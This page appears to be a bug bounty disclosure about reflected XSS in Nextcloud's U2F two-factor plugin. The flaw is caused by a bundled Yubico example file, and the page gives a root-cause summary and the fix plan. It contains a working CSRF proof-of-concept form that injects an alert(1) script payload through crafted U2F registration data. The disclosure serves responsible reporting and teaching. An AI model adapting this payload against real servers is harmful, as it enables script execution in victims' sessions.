Reflected XSS in U2F plugin by shipping the example endpoints
The U2F two-factor plugin shipped an example PHP file from a vendored Yubico library that echoes user input back into the page. An attacker could craft a cross-site request that makes the victim's browser run script in the context of the Nextcloud server.
Originally disclosed on HackerOne
- Triaged in under an hour
- Fixed in 2 months
- Disclosed after 3 months
While running a RIPS scan against our instrumentalized source code it noticed that the file /apps/twofactor_u2f/vendor/yubico/u2flib-server/examples/localstorage/index.php echoes on user input:

I was first a tad confused because the examples have been removed from our Git repository, but the release from apps.nextcloud.com ships with that file. So I suppose the Makefile is downloading the dependencies again.
While exploiting this is not entirely trivial due to some sanity checks in the code above it is however possible, the following CSRF PoC will trigger a popup:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://10.211.55.7/stable9/apps/twofactor_u2f/vendor/yubico/u2flib-server/examples/localstorage/index.php" method="POST">
<input type="hidden" name="doAuthenticate" value="{"signatureData":"AQAAABowRAIgMZL56nkLO7gs2OYoUW8RE3xAWLAvzroTiWO2T2PBb-wCID6zjKjjxsqqG5NZ4upnT1xCeFmnDSefS_TWHZWjoXgx","clientData":"eyAiY2hhbGxlbmdlIjogIjFQX1l4TWpGVEhPcmNyQmlwUF8tLXRtVjA4SXNRUnVXaVlwZVZYVlNpVFUiLCAib3JpZ2luIjogImh0dHA6XC9cLzEwLjIxMS41NS43IiwgInR5cCI6ICJuYXZpZ2F0b3IuaWQuZ2V0QXNzZXJ0aW9uIiB9","keyHandle":"9cgajEA4PWsnEbpgfnaxFBxMsiUNWo4GKbdk5PrdMn3c139bG3mXqLVw3VwpdcQzzPmVyGF6KBvFZsb2jpzdmg"}" />
<input type="hidden" name="request" value="[{"version":"U2F_V2","challenge":"1P_YxMjFTHOrcrBipP_--tmV08IsQRuWiYpeVXVSiTU","keyHandle":"9cgajEA4PWsnEbpgfnaxFBxMsiUNWo4GKbdk5PrdMn3c139bG3mXqLVw3VwpdcQzzPmVyGF6KBvFZsb2jpzdmg","appId":"http://10.211.55.7"}]" />
<input type="hidden" name="registrations" value="[{"keyHandle":"9cgajEA4PWsnEbpgfnaxFBxMsiUNWo4GKbdk5PrdMn3c139bG3mXqLVw3VwpdcQzzPmVyGF6KBvFZsb2jpzdmg","publicKey":"BPtO8T0VluUL14FRKvEkZ5lP/3W4F7er4WS87iYfrpoKj0Fjo+M+zAxNsuhYd+3rYQFVPr4hflhOh3lMSZ605Fg=","certificate":"MIICLjCCARigAwIBAgIECmML\/zALBgkqhkiG9w0BAQswLjEsMCoGA1UEAxMjWXViaWNvIFUyRiBSb290IENBIFNlcmlhbCA0NTcyMDA2MzEwIBcNMTQwODAxMDAwMDAwWhgPMjA1MDA5MDQwMDAwMDBaMCkxJzAlBgNVBAMMHll1YmljbyBVMkYgRUUgU2VyaWFsIDE3NDI2MzI5NTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABKQjZF26iyPtbNnl5IuTKs\/fRWTHVzHxz1IHRRBrSbqWD60PCqUJPe4zkIRFqBa4NnzdhVcS80nlZuY3ANQm0J+jJjAkMCIGCSsGAQQBgsQKAgQVMS4zLjYuMS40LjEuNDE0ODIuMS4yMAsGCSqGSIb3DQEBCwOCAQEAZTmwMqHPxEjSB64Umwq2tGDKplAcEzrwmg6kgS8KPkJKXKSu9T1H6XBM9+LAE9cN48oUirFFmDIlTbZRXU2Vm2qO9OdrSVFY+qdbF9oti8CKAmPHuJZSW6ii7qNE59dHKUaP4lDYpnhRDqttWSUalh2LPDJQUpO9bsJPkgNZAhBUQMYZXL\/MQZLRYkX+ld7llTNOX5u7n\/4Y5EMr+lqOyVVC9lQ6JP6xoa9q6Zp9+Y9ZmLCecrrcuH6+pLDgAzPcc8qxhC2OR1B0ZSpI9RBgcT0KqnVE0tq1KEDeokPqF3MgmDRkJ++\/a2pV0wAYfPC3tC57BtBdH\/UXEB8xZVFhtA==wzh87'-alert(1)-'k50k8","counter":-1}]" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

This code is part of the official Yubico PHP U2F library. In a first step I'll coordinate with @christophwurst to remove this file from the release on apps.nextcloud.com, then I'll make sure to reach out to Yubico to get this resolved in their library.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the bundled example script echoes request parameters into its HTML output without encoding them, and that example file was accidentally included in the released app package.
Impact
Script could run in the victim's browser on the Nextcloud origin, though the author notes exploitation is not entirely trivial because of sanity checks in the code.
What the attacker needed
Victim visits attacker page; example file present in release
The fix
The author plans to remove the example file from the release and raise the issue with Yubico.
How it was found
- Open the example endpoint path under the twofactor_u2f app on the target server.
- Submit a POST request carrying crafted authentication, request and registration parameters.
- The page reflects the crafted values and the injected script runs in the browser.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Some web pages take text from a request and put it straight back into the HTML they return. If that text can include a script tag or an event handler, the browser will run it as if the site itself wrote it. Here a leftover example file from a bundled library did exactly that, so a malicious page could make a logged-in user's browser execute attacker-chosen script on the Nextcloud host.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.